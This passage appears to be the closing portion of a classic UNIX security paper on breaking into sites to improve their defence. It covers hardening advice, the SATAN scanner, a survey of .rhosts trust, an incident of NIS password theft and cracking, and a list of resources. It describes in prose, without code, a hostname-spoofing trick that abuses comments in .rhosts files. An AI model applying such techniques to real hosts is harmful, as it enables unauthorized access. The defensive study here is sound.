-o  Don't run NIS unless it's absolutely necessary.  Use NFS as little
-as possible.
-
-o  Never export NFS filesystems unrestricted to the world. Try to
-export file systems read-only where possible.
-
-o  Fortify and protect servers (e.g. hosts that provide a service to
-other hosts -- NFS, NIS, DNS, whatever.)  Only allow administrative
-accounts on these hosts.
-
-o  Examine carefully services offered by inetd and the portmapper.
-Eliminate any that aren't explicitly needed.  Use Wietse Venema's inetd
-wrappers, if for no other reason than to log the sources of connections
-to your host.  This adds immeasurably to the standard UNIX auditing
-features, especially with respect to network attacks.  If possible, use
-the loghost mechanism of syslog to collect security-related information
-on a secure host.
-
-o  Eliminate trust unless there is an absolute need for it.  Trust is
-your enemy.
-
-o  Use shadow passwords and a passwd command that disallows poor
-passwords.  Disable or delete unused/dormant system or user accounts.
-
-o  Keep abreast of current literature (see our suggested reading list and
-bibliography at the end of this paper) and security tools; communicate
-to others about security problems and incidents.  At minimum, subscribe
-to the CERT mailing list and phrack magazine (plus the firewalls mailing
-list, if your site is using or thinking about installing a firewall) and
-read the usenet security newsgroups to get the latest information on
-security problems.  Ignorance is the deadliest security problem we are
-aware of.
-
-o  Install all vendor security patches as soon as possible, on all of
-your hosts.  Examine security patch information for other vendors - many
-bugs (rdist, sendmail) are common to many UNIX variants.
-
-It is interesting to note that common solutions to security problems
-such as running Kerberos or using one-time passwords or digital tokens
-are ineffective against most of the attacks we discuss here.  We
-heartily recommend the use of such systems, but be aware that they are
-_not_ a total security solution -- they are part of a larger struggle to
-defend your system.
-
-Conclusions
------------
-
-Perhaps none of the methods shown here are surprising; when writing this
-paper, we didn't learn very much about how to break into systems.  What
-we _did_ learn was, while testing these methods out on our own systems
-and that of friendly sites, just how effective this set of methods is
-for gaining access to a typical (UNIX) Internet host.  Tiring of trying
-to type these in all by hand, and desiring to keep our own systems more
-secure, we decided to implement a security tool (SATAN) that attempts to
-check remote hosts for at least some of the problems discussed here.
-The typical response, when telling people about our paper and our tool
-was something on the order of "that sounds pretty dangerous -- I hope
-you're not going to give it out to everybody.  But you since you can
-trust me, may I have a copy of it?"
-
-We never set out to create a cookbook or toolkit of methods and programs
-on how to break into systems -- instead, we saw that these same methods
-were being used, every day, against ourselves and against friendly
-system administrators.  We believe that by propagating information that
-normally wasn't available to those outside of the underworld, we can
-increase security by raising awareness.  Trying to restrict access to
-"dangerous" security information has never seemed to be a very effective
-method for increasing security; indeed, the opposite appears to be the
-case, since the system crackers have shown little reticence to share
-their information with each other.
-
-While it is almost certain that some of the information presented here
-is new material to (aspiring) system crackers, and that some will use it
-to gain unauthorized entrance onto hosts, the evidence presented even by
-our ad hoc tests shows that there is a much larger number of insecure
-sites, simply because the system administrators don't know any better --
-they aren't stupid or slow, they simply are unable to spend the very
-little free time that they have to explore all of the security issues
-that pertain to their systems.  Combine that with no easy access to this
-sort of information and you have poorly defended systems.  We (modestly)
-hope that this paper will provide badly-needed data on how systems are
-broken into, and further, to explain _why_ certain steps should be taken
-to secure a system.  Knowing why something is a problem is, in our
-opinion, the real key to learning and to making an informed, intelligent
-choice as to what security really means for your site.
-
-----
-
-Appendix A:
-
-SATAN (Security Analysis Tool for Auditing Networks)
-
-Originally conceived some years ago, SATAN is actually the prototype of
-a much larger and more comprehensive vision of a security tool.  In its
-current incarnation, SATAN remotely probes and reports various bugs and
-weaknesses in network services and windowing systems, as well as
-detailing as much generally useful information as possible about the
-target(s).  It then processes the data with a crude filter and what
-might be termed an expert system to generate the final security
-analysis.  While not particularly fast, it is extremely modular and easy
-to modify.
-
-SATAN consists of several sub-programs, each of which is an executable
-file (perl, shell, compiled C binary, whatever) that tests a host for a
-given potential weakness.  Adding further test programs is as simple as
-putting an executable into the main directory with the extension ".sat";
-the driver program will automatically execute it.  The driver generates
-a set of targets (using DNS and a fast version of ping together to get
-"live" targets), and then executes each of the programs over each of the
-targets.  A data filtering/interpreting program then analyzes the
-output, and lastly a reporting program digests everything into a more
-readable format.
-
-The entire package, including source code and documentation, will be
-made freely available to the public, via anonymous ftp and by posting it
-to one of the numerous source code groups on the Usenet.
-
-----
-
-Appendix B:
-
-An informal survey conducted on about a dozen Internet sites
-(educational, military, and commercial, with over 200 hosts and 40000
-accounts) revealed that on the average, close to 10 percent of a site's
-accounts had .rhosts files.  These files averaged six trusted hosts
-each; however, it was not uncommon to have well over one hundred entries
-in an account's .rhosts file, and on a few occasions, the number was
-over five hundred!  (This is not a record one should be proud of
-owning.)  In addition, _every_ site directly on the internet (one site
-was mostly behind a firewall) trusted a user or host at another site --
-thus, the security of the site was not under the system administrators
-direct control.  The larger sites, with more users and hosts, had a
-lower percentage of users with .rhosts files, but the size of .rhosts
-files increased, as well as the number of trusted off-site hosts.
-
-Although it was very difficult to verify how many of the entries were
-valid, with such hostnames such as "Makefile", "Message-Id:", and
-"^Cs^A^C^M^Ci^C^MpNu^L^Z^O", as well as quite a few wildcard entries, we
-question the wisdom of putting a site's security in the hands of its
-users.  Many users (especially the ones with larger .rhosts files)
-attempted to put shell-style comments in their .rhosts files, which most
-UNIX systems attempt to resolve as valid host names.  Unfortunately, an
-attacker can then use the DNS and NIS hostname spoofing techniques
-discussed earlier to set their hostname to "#" and freely log in.  This
-puts a great many sites at risk (at least one major vendor ships their
-systems with comments in their /etc/hosts.equiv files.)
-
-You might think that these sites were not typical, and, as a matter of
-fact, they weren't.  Virtually all of the administrators knew a great
-deal about security and write security programs for a hobby or
-profession, and many of the sites that they worked for did either
-security research or created security products.  We can only guess at
-what a "typical" site might look like.
-
-----
-
-Appendix C:
-
-After receiving mail from a site that had been broken into from one of
-our systems, an investigation was started.  In time, we found that the
-intruder was working from a list of ".com" (commercial) sites, looking
-for hosts with easy-to steal password files.  In this case,
-"easy-to-steal" referred to sites with a guessable NIS domainname and an
-accessible NIS server.  Not knowing how far the intruder had gotten, it
-looked like a good idea to warn the sites that were in fact vulnerable
-to password file theft.  Of the 656 hosts in the intruder's hit list, 24
-had easy-to-steal password files -- about one in twenty-five hosts!  One
-third of these files contained at least one password-less account with
-an interactive shell.  With a grand total of 1594 password-file entries,
-a ten-minute run of a publically-available password cracker (Crack)
-revealed more than 50 passwords, using nothing but a low-end Sun
-workstation.  Another 40 passwords were found within the next 20
-minutes; and a root password was found in just over an hour. The result
-after a few days of cracking: five root passwords found, 19 out of 24
-password files (eighty percent) with at least one known password, and
-259 of 1594 (one in six) passwords guessed.
-
-----
-
-Appendix D:
-
-How to get some free security resources on the Internet
-
-Mailing lists:
-
-o  The CERT (Computer Emergency Response Team) advisory mailing list.
-Send e-mail to cert@cert.org, and ask to be placed on their mailing
-list.
-
-o  The Phrack newsletter.  Send an e-mail message to
-phrack@well.sf.ca.us and ask to be added to the list.
-
-o  The Firewalls mailing list.  Send the following line to
-majordomo@greatcircle.com:
-
-    subscribe firewalls
-
-o  Computer Underground Digest.  Send e-mail to
-tk0jut2@mvs.cso.niu.edu, asking to be placed on the list.
-
-Free Software:
-
-COPS (Computer Oracle and Password System) is available via anonymous
-ftp from archive.cis.ohio-state.edu, in pub/cops/1.04+.
-
-The tcp wrappers are available via anonymous ftp from ftp.win.tue.nl,
-in pub/security.
-
-Crack is available from ftp.uu.net, in /usenet/comp.sources.misc/volume28.
-
-TAMU is a UNIX auditing tool that is part of a larger suite of excellent
-tools put out by a group at the Texas A&M University.  They can be
-gotten via anonymous ftp at net.tamu.edu, in pub/security/TAMU.
-
-Sources for ftpd and many other network utilities can be found in
-ftp.uu.net, in packages/bsd-sources.
-
-Source for ISS (Internet Security Scanner), a tool that remotely scans
-for various network vulnerabilities, is available via anonymous ftp from
-ftp.uu.net, in usenet/comp.sources.misc/volume40/iss.
-
-Securelib is available via anonymous ftp from ftp.uu.net, in
-usenet/comp.sources.misc/volume36/securelib.
-
-The latest version of berkeley sendmail is available via anonymous ftp
-from ftp.cs.berkeley.edu, in ucb/sendmail.
-
-Tripwire, a UNIX filesystem integrity checker+, is available via anonymous
-ftp at ftp.cs.purdue.edu, in pub/spaf/COAST/Tripwire.
-
-----
-
-Bibliography:
-
-Baldwin, Robert W., Rule Based Analysis of Computer Security,
-Massachusetts Institute of Technology, June 1987.
-
-Bellovin, Steve, Using the Domain Name System for System Break-ins,
-1992 (unpublished).
-
-Massachusetts Institute of Technology, X Window System Protocol,
-Version 11, 1990.
-
-Shimomura, Tsutomu, private communication.
-
-Sun Microsystems, OpenWindows V3.0.1 User Commands, March 1992.
-
-----
-
-Suggested reading:
-
-Bellovin, Steve -- "Security Problms in the TCP/IP Protocol Suite", 
-Computer Communication Review 19 (2), 1989; a comment by Stephen
-Kent appears in volume 19 (3), 1989.
-
-Garfinkel, Simson and Spafford, Gene, "Practical UNIX Security",
-O'Reilly and Associates, Inc., 1992.
-
-Hess, David, Safford, David, and Pooch, Udo, "A UNIX Network Protocol
-Study: Network Information Service", Computer Communication Review
-22 (5) 1992.
-
-Phreak Accident, Playing Hide and Seek, UNIX style, Phrack, Volume
-Four, Issue Forty-Three, File 14 of 27.
-
-Ranum, Marcus, "Firewalls" internet electronic mailing list, Sept
-1993.
-
-Schuba, Christoph, "Addressing Weaknesses in the Domain Name System
-Protocal", Purdue University, August 1993.
-
-Thompson, Ken, Reflections on Trusting Trust, Communications of the ACM
-27 (8), 1984.